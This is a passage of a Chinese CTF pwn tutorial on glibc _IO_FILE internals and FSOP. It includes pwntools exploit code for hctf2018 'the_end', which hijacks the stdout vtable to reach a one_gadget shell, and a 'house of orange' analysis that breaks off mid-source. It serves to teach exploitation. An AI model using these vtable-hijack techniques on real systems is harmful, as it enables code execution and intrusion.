深入理解Pwn_IO_FILE及相关赛题详细解析

韩乔落

前言

深入理解Pwn_Heap及相关例题

源码查看网址

本文主要参考C0Lin _sky123_ 两位宝藏师傅的博客。

本文写的较为冗余,适合和我一样的新手朋友看。文中并没有对堆的手法进行详细的说明,文章的堆利用手法可以看上面的文章(包括了目前 how2heap 里全系列的手法,其他手法有时间会补充到里面)。后面关于 _IO_FILE 利用的手法会更新在这里(方便查)。

基础知识

IO相关重要结构体概述

进行文件读写操作时会为对应文件创建一个 _IO_FILE_plus 结构体,并且链接到 _IO_list_all 链表 头部 上,vtable 指向一张虚函数表_IO_jump_t,此表中记录着对文件进行的各种操作,_IO_FILE_IO_jump_t 组成了 _IO_FILE_plusstdin, stdout, stderr 是位于 libc.so 中,而通过 fopen 的创建的则是位于堆内存。

glibc-2.23源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct _IO_FILE_plus
{
_IO_FILE file;
/* vtable 一般都不可修改,vtable 是否可写跟 libc 有关,有的高版本 libc 反而可写,比如 glibc-2.34。*/
const struct _IO_jump_t *vtable;
};
// amd64 如下
_IO_FILE_plus = {
0x0:'_flags';
0x8:'_IO_read_ptr'; // 操作起始地址
0x10:'_IO_read_end'; // stdin 缓冲结束地址
0x18:'_IO_read_base'; // stdin 缓冲起始地址
0x20:'_IO_write_base';// stdout 缓冲起始地址
0x28:'_IO_write_ptr'; // 操作起始地址
0x30:'_IO_write_end'; // stdout 缓冲结束地址
0x38:'_IO_buf_base'; // 缓冲区起始地址
0x40:'_IO_buf_end'; // 缓冲区结束地址
0x48:'_IO_save_base';
0x50:'_IO_backup_base';
0x58:'_IO_save_end';
0x60:'_markers';
0x68:'_chain';
0x70:'_fileno';
0x74:'_flags2';
0x78:'_old_offset';
0x80:'_cur_column';
0x82:'_vtable_offset';
0x83:'_shortbuf';
0x88:'_lock';
0x90:'_offset';
0x98:'_codecvt';
0xa0:'_wide_data';
0xa8:'_freeres_list';
0xb0:'_freeres_buf';
0xb8:'__pad5';
0xc0:'_mode';
0xc4:'_unused2';

0xd8:'vtable';
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
0x0:JUMP_FIELD(size_t, __dummy);
0x8:JUMP_FIELD(size_t, __dummy2);
0x10:JUMP_FIELD(_IO_finish_t, __finish);
0x18:JUMP_FIELD(_IO_overflow_t, __overflow);
0x20:JUMP_FIELD(_IO_underflow_t, __underflow);
0x28:JUMP_FIELD(_IO_underflow_t, __uflow);
0x30:JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
0x38:JUMP_FIELD(_IO_xsputn_t, __xsputn);
0x40:JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
0x48:JUMP_FIELD(_IO_seekoff_t, __seekoff);
0x50:JUMP_FIELD(_IO_seekpos_t, __seekpos);
0x58:JUMP_FIELD(_IO_setbuf_t, __setbuf);
0x60:JUMP_FIELD(_IO_sync_t, __sync);
0x68:JUMP_FIELD(_IO_doallocate_t, __doallocate);
0x70:JUMP_FIELD(_IO_read_t, __read);
0x78:JUMP_FIELD(_IO_write_t, __write);
0x80:JUMP_FIELD(_IO_seek_t, __seek);
0x88:JUMP_FIELD(_IO_close_t, __close);
0x90:JUMP_FIELD(_IO_stat_t, __stat);
0x98:JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
0xa0:JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif

};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno; // stderr:2, stdout:1, stdin:0

#if 0
int _blksize;
#else

int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

#ifndef __cplusplus
typedef struct _IO_FILE _IO_FILE;
#endif

struct _IO_FILE_plus;

extern struct _IO_FILE_plus *_IO_list_all;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_str_fields
{
/* These members are preserved for ABI compatibility. The glibc
implementation always calls malloc/free for user buffers if
_IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};

/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
but a 32 bit pointer type. In this case, we get 4 bytes of padding
after the vtable pointer. Putting them in a structure together solves
this problem. */

struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

图解

IO_FILE_1

IO相关函数概述

  • fopen 未调用 vtable 中的函数,fopen 对应的函数 __fopen_internal 内部会调用 malloc 函数,分配 FILE 结构的空间。因此我们可以获知 FILE 结构是存储在堆上的。

  • 流程

    • 使用 malloc 分配 FILE 结构

    • 设置 FILE 结构的 vtable

    • 初始化分配的 FILE 结构

    • 将初始化的 FILE 结构链入 FILE 结构链表头部

    • 调用系统调用打开文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// fopen() 函数
// libio/iofopen.c
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); // 为 FILE 结构分配空间
if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
_IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps; // 设置 vtable = &_IO_file_jumps
_IO_file_init (&new_f->fp); // 调用 _IO_file_init 函数进行初始化
#if !_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL) // 打开目标文件
return __fopen_maybe_mmap (&new_f->fp.file);
_IO_un_link (&new_f->fp);
free (new_f);
return NULL;
}
_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
return __fopen_internal (filename, mode, 1);
}
// libio/fileops.c
# define _IO_new_file_init _IO_file_init
void
_IO_new_file_init (struct _IO_FILE_plus *fp)
{
/* POSIX.1 allows another file handle to be used to change the position
of our file descriptor. Hence we actually don't know the actual
position before we do the first fseek (and until a following fflush). */
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
_IO_link_in (fp); // 调用 _IO_link_in 函数将 fp 放进链表
fp->file._fileno = -1;
}
// libio/genops.c
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
fp->file._chain = (_IO_FILE *) _IO_list_all; // fp 放到链表头部
_IO_list_all = fp; // 链表头 _IO_list_all 指向 fp
++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
  • fread() 最终会调用 _IO_fiel_xsgetn
    • 流程大致为 _IO_fread->_IO_sgetn->_IO_XSGETN->_IO_file_xsgetn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// fread
// libio/iofread.c
/*
* buf: 存放读取数据的缓冲区。
* size: 指定每个记录的长度。
* count: 指定记录的个数。
* stream: 目标文件流。
* 返回值: 返回读取到数据缓冲区中的记录个数。
*/
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); // 调用 _IO_sgetn 函数
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
// libio/genops.c
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n); // 调用宏 _IO_XSGETN
}
// libio/libioP.h
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
# define _IO_vtable_offset(THIS) 0
#endif
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
  • fwrite 最终会调用 _IO_file_xsputn
    • 流程 _IO_fwrite->_IO_XSPUTN->_IO_new_file_xsputn->_IO_OVERFLOW->_IO_new_file_overflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// fwrite()
// libio/iofwrite.c
/*
* buf: 是一个指针,对 fwrite 来说,是要写入数据的地址;
* size: 要写入内容的单字节数;
* count: 要进行写入 size 字节的数据项的个数;
* stream: 目标文件指针;
* 返回值: 实际写入的数据项个数 count。
*/
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request); // 调用 _IO_sputn 函数
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if (written == request || written == EOF)
return count;
else
return written / size;
}
// libio/libioP.h
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

  • fclose 最终会调用 _IO_file_finish
    • 流程大致如下
      • _IO_unlink_it 将指定的 FILE_chain 链表中摘除
      • _IO_file_close_it 会调用系统接口 close 关闭文件
      • _IO_FINISH->_IO_file_finish 会调用 free 函数释放 FILE 结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp); // 将 fp 从链表中取出
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp); // 关闭目标文件
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp); // 释放 FILE 结构体
}
return status;
}

getshell 一般条件

必须要 libc 的低 32 位地址为负时,攻击才会成功。在 fflush 函数的检查里,它第二步才是跳转,第一步的检查,在 arena 里的伪造 file 结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会 check 失效。

[hctf2018]the_end

检查文件信息

image-20231018195448855

image-20231017203336478

image-20231017203259746

试运行

image-20231017203439647

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h] BYREF

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

我们有五次任意地址写 1 字节的机会,并且给了我们 sleep() 函数的地址。

漏洞利用

glibc-2.23 版本及之前没有 _IO_vtable_check 检查,因此可以伪造 vtable 劫持程序流程。 exit 函数有一条这样的调用链 exit->__run_exit_handlers->_IO_cleanup->_IO_unbuffer_all->_IO_SETBUFF(fp, NULL, 0),这里调用了 _IO_2_1_stdout_vatable_setbuf 函数.。但位于 libc 数据段的 vtable 是不可以进行写入的,因为 _IO_jumps_t 的第 11 位是 JUMP_FIELD(_IO_setbuf_t, __setbuf); 所以我们可以在其附近寻找 fake_vtable 将其 (11*8)0x58 处改为 one_gadget ,当程序退出调用 exit 时将会调用 one_gadget 从而 getshell

获取信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def get_info():
global one_gadget, stdout_vtable, fake_vtable, stderr_vtable
p.recvuntil(b"here is a gift ")
sleep = int(p.recv(14),16)
p.recvuntil(b"luck ;)\n")

libc.address = sleep - libc.symbols['sleep']
one_gadget = libc.address + 0xf03a4

stdout_vtable = libc.sym['_IO_2_1_stdout_'] + 0xd8
stderr_vtable = libc.sym['_IO_2_1_stderr_'] + 0xd8
fake_vtable = stderr_vtable - 0x58

info("libc_base : 0x%x" % libc.address)
info("one_gadget : 0x%x" % one_gadget)
info("stdout_vtable : 0x%x" % stdout_vtable)
info("fake_vtable : 0x%x" % fake_vtable)
info("stderr_vtable : 0x%x" % stderr_vtable)

debug()

image-20231018160216214

libc.sym['_IO_2_1_stdout_'] + 0xd8_IO_2_1_stdout_vtable 指针,glibc-2.23版本x64 的偏移(struct _IO_FILE大小)0xd8x32 减半。

get_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_shell():
p.send(p64(stdout_vtable))
p.send(p8(fake_vtable&0xff))
p.send(p64(stdout_vtable+1))
p.send(p8((fake_vtable>>8)&0xff))

debug()

p.send(p64(stderr_vtable))
p.send(p8(one_gadget&0xff))
p.send(p64(stderr_vtable+1))
p.send(p8((one_gadget>>8)&0xff))

gdb.attach(p)
p.send(p64(stderr_vtable+2))
p.send(p8((one_gadget>>16)&0xff))
pause()

p.sendline(b"exec 1>&0")

image-20231018160251059

前两次机会我们可以修改 stdout_vtable 的后 16 位将其指向 fake_vtable

image-20231018160327303

后面三次机会将 fake_vtable 的高 11*8(0x58) 处的 _IO_SETBUF(实际上是 stderr_vtable) 改为 onegadget,因为都在 libc.so 数据段,所以我们只需要修改其后 8*3 位即可。

image-20231018160457056

image-20231018160514870

最后调用了 one_gadget

image-20231018160702397

图解

hctf2018the_end

FSOP(glibc <= 2.23)

FSOP 的核心思想就是劫持 _IO_list_all 指向伪造的 _IO_FILE_plus 。之后使程序执行 _IO_flush_all_lockp 函数刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflowFSOP 通过伪造 _IO_jump_t 中的 __overflowsystem() 函数 地 址 , 最 终 在 _IO_OVERFLOW(fp,EOF) 函 数 中 执 行 system('/bin/sh') 并获得 shell

  • _IO_flush_all_lockp 在一些情况下这个函数会被系统调用:

    1. libc 执行 abort 流程时
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    void
    abort (void)
    {
    ...
    if (stage == 4)
    {
    ++stage;
    __fcloseall ();
    }
    ...
    }
    int
    __fcloseall (void)
    {
    return _IO_cleanup ();
    }
    int
    _IO_cleanup (void)
    {
    int result = _IO_flush_all_lockp (0);
    _IO_unbuffer_all ();
    return result;
    }

    1. 当执行 exit 函数时
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    void
    exit (int status)
    {
    __run_exit_handlers (status, &__exit_funcs, true);
    }
    第(1)条链
    void
    attribute_hidden
    __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit)
    {
    ...
    _exit (status);
    }
    void
    _exit (int status)
    {
    status &= 0xff;
    abort ();
    }
    第(2)条链
    _IO_cleanup (void)
    {
    int result = _IO_flush_all_lockp (0);
    _IO_unbuffer_all ();
    return result;
    }
    1. 当执行流从 main 函数返回时会执行 exit->_IO_cleanup->_IO_flush_all_lockp

      image-20231018191511939

      image-20231018191606707

  • _IO_flush_all_lockp (int do_lock) 函数需要绕过的检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
* 从_IO_list_all开始, _IO_flush_all_lockp()遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查,
* _IO_OVERFLOW会从虚表中调用_IO_new_file_overflow()
*/
int
_IO_flush_all_lockp (int do_lock)
{
...
/*
* 为了能够让我们构造的 fake_FILE 能够正常工作,还需要以下绕过的检查
* fp->_mode <= 0
* fp->_IO_write_ptr > fp->_IO_write_base
* 这里调用了 _IO_OVERFLOW 函数
*/
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}

还有一条FSOP的路径是在关闭流的时候,在 _IO_FINISH(fp) 的执行过程中最终会调用伪造的 system('/bin/sh')

1
2
3
4
5
6
7
8
9
typedef void (*_IO_finish_t) (_IO_FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
...
_IO_FINISH (fp);
...
}

[hctf2016]house of orange

检查文件信息

image-20231018195547354

image-20231018195633401

image-20231018195614081

试运行

image-20231018195709292

逆向分析

  • main 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // eax

Init();
while ( 1 )
{
while ( 1 )
{
Menu();
v3 = get_num(a1, a2);
if ( v3 != 2 )
break;
See();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
Upgrade();
}
else
{
if ( v3 == 4 )
{
puts("give up");
exit(0);
}
LABEL_13:
a1 = "Invalid choice";
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
Build();
}
}
}
  • Build 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int Build()
{
unsigned int len_of_name; // [rsp+8h] [rbp-18h]
int type; // [rsp+Ch] [rbp-14h]
void *house; // [rsp+10h] [rbp-10h]
__int64 orange; // [rsp+18h] [rbp-8h]

if ( max_house > 3u )
{
puts("Too many house");
exit(1);
}
house = malloc(0x10uLL);
printf("Length of name :");
len_of_name = get_num();
if ( len_of_name > 0x1000 )
len_of_name = 0x1000;
*((_QWORD *)house + 1) = malloc(len_of_name);
if ( !*((_QWORD *)house + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
Read(*((void **)house + 1), len_of_name); // 这个读取没有截断,可能存在泄露
orange = (__int64)calloc(1uLL, 8uLL);
printf("Price of Orange:");
*(_DWORD *)orange = get_num();
Color();
printf("Color of Orange:");
type = get_num();
if ( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts("No such color");
exit(1);
}
if ( type == 0xDDAA )
*(_DWORD *)(orange + 4) = 0xDDAA;
else
*(_DWORD *)(orange + 4) = type + 0x1E;
*(_QWORD *)house = orange;
house_list = house;
++max_house;
return puts("Finish");
}

其结构大致为:

hosa_struct

其中 orange 是通过 calloc 申请的。

  • See 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_EE6()
{
int v0; // eax
int v2; // eax

if ( !house_list )
return puts("No such house !");
if ( *(_DWORD *)(*house_list + 4LL) == 0xDDAA )
{
printf("Name of house : %s\n", (const char *)house_list[1]);
printf("Price of orange : %d\n", *(unsigned int *)*house_list);
v0 = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
}
else
{
if ( *(int *)(*house_list + 4LL) <= 0x1E || *(int *)(*house_list + 4LL) > 0x25 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", (const char *)house_list[1]);
printf("Price of orange : %d\n", *(unsigned int *)*house_list);
v2 = rand();
return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*house_list + 4LL), *((const char **)&unk_203080 + v2 % 8));
}
}

See 函数会打印出 house->nameorange->priceorange 图案。

  • Upgrade 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int Upgrade()
{
_DWORD *house; // rbx
unsigned int len_of_name; // [rsp+8h] [rbp-18h]
int type; // [rsp+Ch] [rbp-14h]

if ( max_up > 2u )
return puts("You can't upgrade more");
if ( !house_list )
return puts("No such house !");
printf("Length of name :");
len_of_name = get_num();
if ( len_of_name > 0x1000 )
len_of_name = 0x1000;
printf("Name:");
Read((void *)house_list[1], len_of_name);
printf("Price of Orange: ");
house = (_DWORD *)*house_list;
*house = get_num();
Color();
printf("Color of Orange: ");
type = get_num();
if ( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts("No such color");
exit(1);
}
if ( type == 0xDDAA )
*(_DWORD *)(*house_list + 4LL) = 0xDDAA;
else
*(_DWORD *)(*house_list + 4LL) = type + 0x1E;
++max_up;
return puts("Finish");
}

Upgrade 函数重新设置了 len_of_name 后直接向旧的 name 区域读入内容,如果 len_new > len_old 就会导致堆溢出。

漏洞利用

本题没有 free 函数,存在堆溢出。当 top chunk的剩余部分已经不能够满足请求时,就会调用函数 sysmalloc()分配新内存, 这时可能会发生两种情况,一种是调用 sbrk函数直接扩充 top chunk,另一种是调用 mmap 函数分配一块新的 top chunk。具体调 用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阈值 mp_.mmap_threshold。 要成功调用 _int_free() 还需绕过两个断言:

  1. (unsigned long) (old_size) >= MINSIZE 也就是 0x20

  2. prev_inuse == 1

  3. ((unsigned long) old_end & (pagesize - 1)) == 0 页对齐

  4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 新申请的 size 大于 old size + MINSIZE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
// 这里阈值大于 mp_.mmap_threshold 就会调用 mmap 函数分配一块新的 top chunk。
...
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/

try_mmap:
...
}
...

if (av == NULL)
return 0;

old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
* 1. (unsigned long) (old_size) >= MINSIZE 也就是0x20。
* 2. prev_inuse == 1
* 3. ((unsigned long) old_end & (pagesize - 1)) == 0 页对齐
* 4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 新申请的 size 大于 old size + MINSIZE
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
